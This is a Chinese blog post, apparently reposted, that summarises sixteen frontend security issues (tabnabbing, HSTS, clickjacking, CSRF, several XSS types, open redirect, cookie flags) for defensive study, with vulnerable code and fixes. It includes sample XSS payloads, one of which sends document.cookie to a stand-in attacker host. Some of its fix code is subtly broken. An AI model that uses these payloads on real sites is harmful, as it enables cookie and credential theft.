16 个前端安全知识

16 个前端安全知识

去年 security course 上的是 React,然后学了一些 一些 React 项目中可能存在的安全隐患,今年看了一下列表,正好看到了前端也有更新,所以就把这个补上了。

一个非常好学习各种安全隐患的机构是 https://owasp.org/

其实很多情况下用户不妨问可疑网站就可以解决……但是吧,educate user 永远是一件非常困难的事情,多做做防护也是必要的。

reverse tabnabbing

这是一个对于很多用户来说非常容易踩雷的一个坑,展示效果如下:

在这里插入图片描述

其工作原理是通过 forward window.opener 这个对象实现的,其实这个漏洞真的挺容易被漏看的,因为 opener 以前是会随着 Target=”_blank” 一起被 forward 到新的网页,如果新的网页稍微有那么点心思不纯,就可以写一个克隆网页,然后比较轻松的盗取用户信息。

触发代码如下:

  • 受到攻击的网页,假设有人留了个 post 之类的:

    <html>
      <body>
        <li>
          <a href="bad.example.com" target="_blank"
            >Vulnerable target using html link to open the new page</a
          >
        </li>
        <button onclick="window.open('https://bad.example.com')">
          Vulnerable target using javascript to open the new page
        </button>
      </body>
    </html>
    
  • 可疑地网页

    <html>
      <body>
        <script>
          if (window.opener) {
            window.opener.location = 'https://phish.example.com';
          }
        </script>
      </body>
    </html>
    

根据 MDN 上说,目前使用 target="_blank" 的话,opener 是直接设置成 null 了,除此之外,两个可以将 window.opener 设置成 null 的方式有:

  1. 设置 rel=noopener
  2. Cross-Origin-Opener-Policy 设置为 same-origin

HTTP Strict-Transport-Security (HSTS)

这是解决一种 Man-in-the-Middle attack 的解决方式,这种攻击方式的图示是这样的:

在这里插入图片描述

有些网站可能会有 HTTP first 的实现,加入网址为 https://www.example.com,它会允许用户访问 http://www.example.com,并且重定向到 https 加密的网站。对于用户来说,大多数情况下 TA 不会输入完整的网址,而是会直接输入 www.example.com,这时,访问就会被定向到 HTTP 版本,再重定向到 HTTPS 的版本。

换言之,如果有黑客注册了 http://www.example.com 这一域名,那么用户的信息就会先访问到 HTTP 版本的网站,黑客没有用户信息,但是可以将用户重新定向到登录网址,获取用户信息。

如使用 301:

HTTP/1.1 301 Moved Permanently
Date: ____________________
Content-Length: 0
Connection: close
Location: http://www.example.com/login.html

这时候用户被被重定向到 http://www.example.com/login.html 进行下一步操作,用户一旦提供了登录信息,那么黑客也就获得了对应的登录信息,这时候黑客会将用户重新定向到 HTTPS 的网站。

降低风险的一种方法就是使用 HTTP Strict-Transport-Security (HSTS),也就是增加一条 header,大致如下:

Strict-Transport-Security: max-age=31536000; includeSubdomains; preload

preload 是针对从未访问过该网页,没有获取对应 header 的用户,更多信息可以在 reference 中看到。

No Server-Side Validation

这个还是比较好理解的,如果没有服务端验证,网站一旦收到了 XSS 攻击,那么就可以直接向服务器发送有问题的数据,又或者不通过浏览器发送有问题的信息到服务器去。

Click Jacking

图示如下:

在这里插入图片描述

这里点击 action 的一个原因在于镶嵌了 iframe,通过修改 opacity 就可以看到逐渐显示的 iframe:

在这里插入图片描述

这也是另外一个用户很容易上当的事情,因为看不到,看到按钮(特别是关闭广告的那种)又都会点击……

这里预防的方法有两种,一个是使用 X-Frame-Options 去告知浏览器不要在嵌套 tag(如 iframe、frame、embed、object)中渲染页面,第二个是使用 Content Security Policy (CSP) 防止当前页面渲染嵌套 tag。

对于 legacy support,可以使用 下面的代码:

<style>
  html {
    display: none;
  }
</style>
<!-- hides the document and prevents clicks -->
<script>
  if (top !== self) {
    top.location = self.location;
  } // Attempt to escape frame
  else {
    document.documentElement.style.display = 'block';
  } // If not in frame, make html visible
</script>

Cross Site Request Forgery(CSRF)

CSRF 也是一个比较常见的攻击,常见的一个方式是,用户打开了一个新的网站,这个网站可以获取浏览器中的 session id,然后将修改信息送到服务器,如果服务器不做任何的验证,或者是单纯的相信了这个 session id,那么服务器就会执行相应的操作。

解决方式一般用:

  1. synchronizer token/anti-CSRF/CSRF token,一个加密并且半随机的 token

    每次用户加载该页面,或是打开了一个新的 session,就可以生成一个新的 token,随后可以通过 HTML、json、http header 等方式传输给后端。当用户发送一个请求时,后端就可以验证对应的 token 是否和当前存储的一样,从而进行验证

  2. double submit cookies

    这是存在 session 中的 CSRF token 可以被还原的情况下使用,在这个情况下,token 会被加在 cookies 和 request body 中,如果两个 token 不 match,那么该请求就会被拒绝

  3. 将 token 存在 header 中

    这个是依赖于 same origin policy 实现的,这样第三方无法使用该 token 完成请求

过期的依赖

说起来我们项目最近就在用 sonatype 查 dependencies,然后 release team 会看 sonatype 的报告,发现有 outdated packages 的危险性比较高的话就没办法 release。

除此之外,也要申明接受和传输的数据类型,如:

$.get({
  url: 'https://www.example.com',
  dataType: 'application/json',
});

$.post({
  url: 'https://www.example.com',
  data: 'test',
  dataType: 'application/json',
});

DOM Based XSS

这里遭受的攻击是使用 URL Fragment,也就是不会传到 server 的那部分代码,比如说 query parameter,如:用户被钓鱼网站骗了,然后点击了 https://www.example.com/#filter=Products 这个网址

其中 filter=Products 这一段会被 URLParams,然后作为 parameter 对后端发送请求。换言之,如果代码没有处理过的话,这段代码 localhost:5500/#filter=<img src="bogus.url" onError="alert('hacked')"> 的执行结果为:

在这里插入图片描述

HTML 部分代码为:

<script>
  const frag = window.location.hash.substr(1);
  const filterval = frag.split('filter=')[1].split('&')[0];
  filterval = decodeURI(filterval);
  document.querySelector('.filter').innerHTML =
    '<h2>Filtering by: "' + filterval + '"</h2>';
</script>

两个解决方案为:

  1. 不要使用 innerHTML,而是使用 textContent
  2. 清理用户输入信息

修改后的结果为:

在这里插入图片描述

修改后的代码:

const HtmlEncode = (s) => {
  const HTMLCharMap = {
    '&': '&amp;',
    "'": '&#39;',
    '"': '&quot;',
    '<': '&lt;',
    '>': '&gt;',
    '\\': '&#x5c;',
    '`': '&#x60;',
    ':': '&#58;',
  };

  const encodeHTMLmapper = (ch) => {
    return HTMLCharMap[ch];
  };
  return s.replace(/[&"'<>\\`:]/g, encodeHTMLmapper);
};

const frag = window.location.hash.substr(1);
const filterval = frag.split('filter=')[1].split('&')[0];
filterval = decodeURI(filterval);
document.querySelector('.filter').textContent =
  '<h2>Filtering by: "' + HtmlEncode(filterval) + '"</h2>';

DOM Based in AJAX

这一段其实和上面有点像,不过上面用的是 HTML fragment,这里可能用户在 input 或者 textarea 输入了一些信息,随着 AJAX 异步发送,前端没有清洗用户数据,后端也没有清晰数据,随后造成了恶意代码在网页中被加载

DOM XSS in eval()

同上,eval 也是单独的作用域,可以用来执行 JS,除了清理用户数据之外,也避免使用 eval,而是换成 JSON.parse(json)

secure cookie flag

简单的说,就是 cookie 中没有 secure 这个 flag,这个是要结合 man-in-the-middle attack 一起去看的,MDN 中的解释为:

Indicates that the cookie is sent to the server only when a request is made with the https: scheme (except on localhost), and therefore, is more resistant to man-in-the-middle attacks.

换言之,当 secure 这个 flag 出现的时候,浏览器在和 HTTP 网站交流时不会带上 cookie,这样可以防止第三方在第一次访问 HTTP first 的网站时携带 cookie。

HttpOnly Cookie Flag

如果设置了 HttpOnly,那么就无法在 JavaScript 中获取浏览器中的 cookie,这也是一个比较常见的 XSS 攻击,出于同样的考量,现在 JS 是无法设置 HttpOnly 这个 flag 的

DOM Open Redirect

这里指的是使用 JavaScript 从 fragment 那里获取 URL 进行重定向,如:https://www.example.com/signon?cust=returning#url=https://www.eaxmple.com/redirect, 这里就会使用 # 去获取重定向的 URL,再使用 JS 中的 window.location = url 的方式进行重定向。

需要注意的是,原本的 domain 是 example,重定向中的 URL 的 domain 是 eaxmple,即

example

eaxmple

也就是说稍有不注意,用户就有可能被重定向到假的页面。

解决方式有:

  • 有可能的话尽量不要让用户提供重定向的网页
  • 如果需要重定向的话,不要重定向整个 URL,可以获取 sub-directory,如只获取 signon
  • 添加白名单,并对比用户提供的数据与白名单上的列表

Reflected XSS

与 fragment 相比,这里用的是 query parameter,如 https://example.com?search=%3Cscript%3Ealert('This application is vulnerable!')%3C%2Fscript%3E,用户有可能通过点击这样的网址,从而被获取到 cookie 等关键信息。

处理的方式,大多数上面也提过了:

  • 清理用户提供的数据
  • 尽量不要渲染用户提供的数据到关键的代码
  • 使用其他 config 进行保护,如 HttpOnly,Content Security Policy HTTP Header,X-XSS-Protection HTTP Header

Stored (Persistent) XSS

简单的案例有,提供这样的代码 Steal Cred <script>document.write("<img src='https://www.stealcred.com/catch?cookie="+document.cookie+" '/>");</script>. 到一些用户输入框中,如果代码钱后端都没有被清理过的话,那么一旦这个代码被保存/持久化,任何看到这条这个评论/留言的用户的用户信息就会被窃取

处理的方式还是:

  • 清理用户提供的数据
  • 了解用户信息会被渲染的地方,尽量不要注入到有可能会调动 JS 的地方
  • 使用其他 config 进行保护,如 HttpOnly,Content Security Policy HTTP Header,X-XSS-Protection HTTP Header

Common XSS Use Cases

  • 没有清洗用户输入的数据,其中可能包括 ', ", </script><script>alert('We triggered the XSS!');/* 等 ```和${}

  • 使用 ${userInput.a} 获取用户提供的键值对,另一种方式是使用 json.parse()

  • 代码中使用 eval() 去转换 JSON 代码,同样也可以使用 json.parse()

  • 没有清理便直接讲用户数据放入 eval, setTimeout(), setInterval(), Function() 的构造函数, CSS, div, a 等 HTML 标签中

  • noscript 其实也有风险,比如说:

    <noscript> Please turn on Javascript! </noscript> alert('hacked') </noscript> element cannot be displayed without Javascript! </noscript>

    这种情况下也会触发 XSS 攻击

SameSite cookie attributes

SameSite cookie attributes 有三个值:

  • strict

    只支持来自同一个域名的访问请求

  • lax

    这时候网站支持两种请求:

    • POST/GET/PATCH/DELETE 这种安全的 HTTP methods

    • top-level navigation

      根据一个 stack overflow 的答案,简单来说就是:

      Basically, TOP LEVEL navigation changes the URL in your address bar. Resources that are loaded by iframe, img tags, and script tags do not change the URL in the address bar so none of them cause TOP LEVEL navigation.

  • none

    这个情况下 SameSite 的属性跟没有设置一样,这代表着开发团队刻意满足 cross site 请求,因此需要设置 secure

有一个解决来自外部访问的方法是,READ permission 可以设置为 lax,其他的操作 permission 设置为 strict,这样来自外部(第三方)的用户可以浏览网页,但是没有办法操作

Reference

  • Preloading Strict Transport Security

  • https://hstspreload.org/.

  • X-Frame-Options

  • Content-Security-Policy

  • Set-Cookie

  • How do I set the HttpOnly flag of a cookie with javascript?

  • What is top-level navigation in browser terminology and in what ways it can be triggered?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/102073.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

国标视频云服务EasyGBS国标视频平台迁移服务器后无法启动的问题解决方法

国标视频云服务EasyGBS支持设备/平台通过国标GB28181协议注册接入&#xff0c;并能实现视频的实时监控直播、录像、检索与回看、语音对讲、云存储、告警、平台级联等功能。平台部署简单、可拓展性强&#xff0c;支持将接入的视频流进行全终端、全平台分发&#xff0c;分发的视频…

Java“牵手”1688图片识别商品接口数据,图片地址识别商品接口,图片识别相似商品接口,1688API申请指南

1688商城是一个网上购物平台&#xff0c;售卖各类商品&#xff0c;包括服装、鞋类、家居用品、美妆产品、电子产品等。要通过图片地址识别获取1688商品列表和商品详情页面数据&#xff0c;您可以通过开放平台的接口或者直接访问1688商城的网页来获取商品详情信息。以下是两种常…

隧道结构健康监测系统,保障隧道稳定安全运行

隧道是地下隐蔽工程&#xff0c;会受到潜在、无法预知的地质因素影响&#xff0c;早期修建的隧道经常出现隧道拱顶开裂、地表沉降、隧道渗漏水、围岩变形、附近建筑物倾斜等隧道的健康问题变得日益突出&#xff0c;作为城市生命线不可或缺的一部分&#xff0c;为了确保隧道工程…

【C++技能树】继承概念与解析

Halo&#xff0c;这里是Ppeua。平时主要更新C&#xff0c;数据结构算法&#xff0c;Linux与ROS…感兴趣就关注我bua&#xff01; 继承 0. 继承概念0.1 继承访问限定符 1. 基类和派生类对象赋值兼容转换2. 继承中的作用域3. 派生类中的默认成员函数4.友元5.继承中的静态成员6.菱…

无涯教程-JavaScript - WEIBULL函数

WEIBULL函数取代了Excel 2010中的WEIBULL.DIST函数。 描述 该函数返回威布尔分布。在可靠性分析中使用此分布,如计算设备的平均故障时间。 语法 WEIBULL(x,alpha,beta,cumulative)争论 Argument描述Required/OptionalXThe value at which to evaluate the function.Requir…

度矩阵、邻接矩阵

度矩阵&#xff08;degree matrix&#xff09; 度矩阵是对角阵&#xff0c;对角上的元素为各个顶点的度&#xff0c;顶点vi的度表示和该顶点相关联的变得数量。 在无向图中&#xff0c;顶点vi的度d(vi)N(i)&#xff08;即与顶点相连的边的数目&#xff09;有向图中&#xff0…

Python工具箱系列(四十一)

使用zip批量压缩文件 前文的代码示例了使用gzip对单个文件进行压缩。本文示例使用更通用的zipfile来批量压缩文件。zipfile也是python内置的库&#xff0c;使用起来非常方便。废话不说&#xff0c;直接上代码示例。 import dbm import glob import zipfile# 保存压缩计划的库名…

Linux 指令心法(四)`touch` 创建一个新的空文件

文章目录 命令的概述和用途命令的用法命令行选项和参数的详细说明命令的示例命令的注意事项或提示 命令的概述和用途 touch 是一个用于在 Linux 和 Unix 系统中创建空文件或更改现有文件的访问和修改时间的命令。如果指定的文件不存在&#xff0c;touch会创建一个新的空文件&a…

计算机毕设 基于深度学习的植物识别算法 - cnn opencv python

文章目录 0 前言1 课题背景2 具体实现3 数据收集和处理3 MobileNetV2网络4 损失函数softmax 交叉熵4.1 softmax函数4.2 交叉熵损失函数 5 优化器SGD6 最后 0 前言 &#x1f525; 这两年开始毕业设计和毕业答辩的要求和难度不断提升&#xff0c;传统的毕设题目缺少创新和亮点&a…

Linux系统调试中出现核心转储(core dump)的问题

​ 大家好&#xff0c;我是ST。今天主要分享一下&#xff0c;Linux应用程序发生Segmentation fault段错误时&#xff0c;如何利用core dump文件定位错误。 核心转储 在 Linux 系统中&#xff0c;常将“主内存”称为核心(core)&#xff0c;而核心映像(core image) 就是 “进…

【操作系统】一文快速入门,很适合JAVA后端看

作者简介&#xff1a; 目录 1.概述 2.CPU管理 3.内存管理 4.IO管理 1.概述 操作系统可以看作一个计算机的管理系统&#xff0c;对计算机的硬件资源提供了一套完整的管理解决方案。计算机的硬件组成有五大模块&#xff1a;运算器、控制器、存储器、输入设备、输出设备。操作…

OceanBase 4.1解读:读写兼备的DBLink让数据共享“零距离”

梁长青&#xff0c;OceanBase 高级研发工程师&#xff0c;从事 SQL 执行引擎相关工作&#xff0c;目前主要负责 DBLink、单机引擎优化等方面工作。 沈大川&#xff0c;OceanBase 高级研发工程师&#xff0c;从事 SQL 执行引擎相关工作&#xff0c;曾参与 TPC-H 项目攻坚&#x…

vue3中axios的使用方法

在Vue 3中使用axios发送HTTP请求的方法与Vue 2中基本相同。首先&#xff0c;需要安装axios库&#xff1a; npm install axios然后&#xff0c;在Vue组件中引入axios&#xff1a; import axios from axios;接下来&#xff0c;可以在Vue组件的方法中使用axios发送HTTP请求。例如…

使用多进程的方式改写聊天程序(有名管道)

目录 1、思路2 、步骤 1、思路 2 、步骤 步骤1&#xff1a;创建两个管道 makefifo fifo1 fifo2步骤2&#xff1a;编写talkA.c文件 #include<stdio.h> #include<stdlib.h> #include<string.h> #include<sys/types.h> #include<sys/stat.h> #in…

Python 分析HTTP的可靠性

在这篇文章中&#xff0c;我们将介绍如何使用 Python 来分析代理服务提供商的可靠性。代理服务在许多场景中都非常有用&#xff0c;例如突破地理限制、保护隐私和提高网络安全性。然而&#xff0c;并非所有的代理服务提供商都是可靠的。因此&#xff0c;我们将使用 Python 来测…

大数据时代下的数据安全防护

随着大数据时代的来临&#xff0c;数据安全防护成为了一个重要的问题。在大数据时代&#xff0c;数据的规模和价值都得到了极大的提升&#xff0c;因此数据安全的重要性也变得越来越突出。本文将从数据加密、访问控制、网络安全和人员管理四个方面来介绍大数据时代下的数据安全…

Vue框架--Vue中的数据绑定

Vue中有两种数据绑定的方式 1.单向数据绑定(v-band):数据只能够从data流向页面 2.双向数据绑定(v-model):数据不仅仅能够从data流向页面&#xff0c;也可以从页面流向data。 备注: 1.双向绑定一般都应用在表单类元素上。(如:input、select等有value属性值的标签上) 2.…

基于Laravel通用型内容建站企业官网系统源码 可免费商用

是一个基于 Laravel 企业内容建站系统。模块市场拥有丰富的功能应用&#xff0c;支持后台一键快速安装&#xff0c;让开发者能快的实现业务功能开发。 系统完全开源&#xff0c;免费且不限制商业使用 2023年08月23日增加了以下12个特性&#xff1a; [新功能] 手机端Banner支持…

iOS逆向进阶:iOS进程间通信方案深入探究与local socket介绍

在移动应用开发中&#xff0c;进程间通信&#xff08;Inter-Process Communication&#xff0c;IPC&#xff09;是一项至关重要的技术&#xff0c;用于不同应用之间的协作和数据共享。在iOS生态系统中&#xff0c;进程和线程是基本的概念&#xff0c;而进程间通信方案则为应用的…

paddle 1-高级

目录 为什么要精通深度学习的高级内容 高级内容包含哪些武器 1. 模型资源 2. 设计思想与二次研发 3. 工业部署 4. 飞桨全流程研发工具 5. 行业应用与项目案例 飞桨开源组件使用场景概览 框架和全流程工具 1. 模型训练组件 2. 模型部署组件 3. 其他全研发流程的辅助…